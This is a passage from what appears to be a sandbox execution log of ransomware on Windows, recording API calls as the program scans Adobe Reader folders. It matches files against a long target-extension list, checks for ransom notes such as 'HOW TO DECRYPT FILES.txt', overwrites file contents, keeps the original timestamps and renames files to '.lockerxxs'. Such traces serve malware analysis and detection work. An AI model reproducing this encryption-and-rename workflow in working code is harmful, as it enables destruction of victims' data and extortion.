returned 6 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.7z") returned 0 [0069.684] lstrlenA (lpString="*.7z") returned 4 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.tar") returned 0 [0069.684] lstrlenA (lpString="*.tar") returned 5 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.bz2") returned 0 [0069.684] lstrlenA (lpString="*.bz2") returned 5 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.gz") returned 0 [0069.684] lstrlenA (lpString="*.gz") returned 4 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mkv") returned 0 [0069.685] lstrlenA (lpString="*.mkv") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.eml") returned 0 [0069.685] lstrlenA (lpString="*.eml") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.msg") returned 0 [0069.685] lstrlenA (lpString="*.msg") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.edb") returned 0 [0069.685] lstrlenA (lpString="*.edb") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.accdb") returned 0 [0069.685] lstrlenA (lpString="*.accdb") returned 7 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.odb") returned 0 [0069.685] lstrlenA (lpString="*.odb") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.java") returned 0 [0069.685] lstrlenA (lpString="*.java") returned 6 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.asm") returned 0 [0069.685] lstrlenA (lpString="*.asm") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.pfx") returned 0 [0069.685] lstrlenA (lpString="*.pfx") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.pem") returned 0 [0069.685] lstrlenA (lpString="*.pem") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.p12") returned 0 [0069.685] lstrlenA (lpString="*.p12") returned 5 [0069.685] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.gpg") returned 0 [0069.685] lstrlenA (lpString="*.gpg") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.vsd") returned 0 [0069.686] lstrlenA (lpString="*.vsd") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.odg") returned 0 [0069.686] lstrlenA (lpString="*.odg") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.raw") returned 0 [0069.686] lstrlenA (lpString="*.raw") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.nef") returned 0 [0069.686] lstrlenA (lpString="*.nef") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.svg") returned 0 [0069.686] lstrlenA (lpString="*.svg") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.psd") returned 0 [0069.686] lstrlenA (lpString="*.psd") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.vmx") returned 0 [0069.686] lstrlenA (lpString="*.vmx") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.686] lstrlenA (lpString="*.vmdk") returned 6 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.vdi") returned 0 [0069.686] lstrlenA (lpString="*.vdi") returned 5 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.lay6") returned 0 [0069.686] lstrlenA (lpString="*.lay6") returned 6 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.686] lstrlenA (lpString="*.mpeg") returned 6 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.djvu") returned 0 [0069.686] lstrlenA (lpString="*.djvu") returned 6 [0069.686] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.tiff") returned 0 [0069.687] lstrlenA (lpString="*.tiff") returned 6 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.backup") returned 0 [0069.687] lstrlenA (lpString="*.backup") returned 8 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.pdf") returned 0 [0069.687] lstrlenA (lpString="*.pdf") returned 5 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.cert") returned 0 [0069.687] lstrlenA (lpString="*.cert") returned 6 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.docm") returned 0 [0069.687] lstrlenA (lpString="*.docm") returned 6 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.687] lstrlenA (lpString="*.xlsm") returned 6 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.dwg") returned 0 [0069.687] lstrlenA (lpString="*.dwg") returned 5 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.nd") returned 0 [0069.687] lstrlenA (lpString="*.nd") returned 4 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.tlg") returned 0 [0069.687] lstrlenA (lpString="*.tlg") returned 5 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.lgb") returned 0 [0069.687] lstrlenA (lpString="*.lgb") returned 5 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mov") returned 0 [0069.687] lstrlenA (lpString="*.mov") returned 5 [0069.687] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.xdw") returned 0 [0069.688] lstrlenA (lpString="*.xdw") returned 5 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.ods") returned 0 [0069.688] lstrlenA (lpString="*.ods") returned 5 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.wav") returned 0 [0069.688] lstrlenA (lpString="*.wav") returned 5 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mp3") returned 0 [0069.688] lstrlenA (lpString="*.mp3") returned 5 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.aiff") returned 0 [0069.688] lstrlenA (lpString="*.aiff") returned 6 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.flac") returned 0 [0069.688] lstrlenA (lpString="*.flac") returned 6 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.m4a") returned 0 [0069.688] lstrlenA (lpString="*.m4a") returned 5 [0069.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.csv") returned 0 [0069.688] lstrlenA (lpString="*.csv") returned 5 [0069.688] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.688] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.689] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.689] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini") returned="eula.ini" [0069.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" [0069.689] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="" [0069.689] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt" [0069.689] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\how to decrypt files.txt")) returned 0x20 [0069.689] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" [0069.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.ems") returned 0 [0069.689] lstrlenA (lpString="*.ems") returned 5 [0069.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.db") returned 0 [0069.689] lstrlenA (lpString="*.db") returned 4 [0069.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.dbf") returned 0 [0069.689] lstrlenA (lpString="*.dbf") returned 5 [0069.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.myox") returned 0 [0069.689] lstrlenA (lpString="*.myox") returned 6 [0069.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.myo") returned 0 [0069.689] lstrlenA (lpString="*.myo") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbw") returned 0 [0069.690] lstrlenA (lpString="*.qbw") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbb") returned 0 [0069.690] lstrlenA (lpString="*.qbb") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbm") returned 0 [0069.690] lstrlenA (lpString="*.qbm") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbo") returned 0 [0069.690] lstrlenA (lpString="*.qbo") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbx") returned 0 [0069.690] lstrlenA (lpString="*.qbx") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qba") returned 0 [0069.690] lstrlenA (lpString="*.qba") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qby") returned 0 [0069.690] lstrlenA (lpString="*.qby") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qbj") returned 0 [0069.690] lstrlenA (lpString="*.qbj") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.ofx") returned 0 [0069.690] lstrlenA (lpString="*.ofx") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.qif") returned 0 [0069.690] lstrlenA (lpString="*.qif") returned 5 [0069.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.mye") returned 0 [0069.690] lstrlenA (lpString="*.mye") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.mbox") returned 0 [0069.691] lstrlenA (lpString="*.mbox") returned 6 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.eml") returned 0 [0069.691] lstrlenA (lpString="*.eml") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.pst") returned 0 [0069.691] lstrlenA (lpString="*.pst") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.ost") returned 0 [0069.691] lstrlenA (lpString="*.ost") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.idx") returned 0 [0069.691] lstrlenA (lpString="*.idx") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.dbx") returned 0 [0069.691] lstrlenA (lpString="*.dbx") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.sql") returned 0 [0069.691] lstrlenA (lpString="*.sql") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.mdb") returned 0 [0069.691] lstrlenA (lpString="*.mdb") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.fdb") returned 0 [0069.691] lstrlenA (lpString="*.fdb") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.wab") returned 0 [0069.691] lstrlenA (lpString="*.wab") returned 5 [0069.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.dat") returned 0 [0069.692] lstrlenA (lpString="*.dat") returned 5 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.txt") returned 0 [0069.692] lstrlenA (lpString="*.txt") returned 5 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.jpeg") returned 0 [0069.692] lstrlenA (lpString="*.jpeg") returned 6 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.jpg") returned 0 [0069.692] lstrlenA (lpString="*.jpg") returned 5 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.png") returned 0 [0069.692] lstrlenA (lpString="*.png") returned 5 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.php") returned 0 [0069.692] lstrlenA (lpString="*.php") returned 5 [0069.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.cs") returned 0 [0069.692] lstrlenA (lpString="*.cs") returned 4 [0069.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.cpp") returned 0 [0069.693] lstrlenA (lpString="*.cpp") returned 5 [0069.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.rar") returned 0 [0069.693] lstrlenA (lpString="*.rar") returned 5 [0069.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.zip") returned 0 [0069.693] lstrlenA (lpString="*.zip") returned 5 [0069.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", pszSpec="*.html") returned 1 [0069.693] lstrlenA (lpString="*.html") returned 6 [0069.693] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" [0069.693] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" [0069.693] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html." [0069.693] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.lockerxxs" [0069.693] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.694] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcd60 [0069.694] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81da7fe0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.694] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.694] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xcd3a, lpOverlapped=0x0) returned 1 [0069.698] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html") returned="license.html" [0069.699] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.699] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xcd3a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xcd3a, lpOverlapped=0x0) returned 1 [0069.699] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.699] CloseHandle (hObject=0x94) returned 1 [0069.701] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html.lockerxxs")) returned 1 [0069.702] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.702] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.702] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="EUQ", cAlternateFileName="")) returned 1 [0069.702] lstrcmpA (lpString1=".", lpString2="EUQ") returned -1 [0069.702] lstrcmpA (lpString1="..", lpString2="EUQ") returned -1 [0069.702] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.702] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="EUQ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" [0069.702] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned 57 [0069.702] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.703] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.703] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", 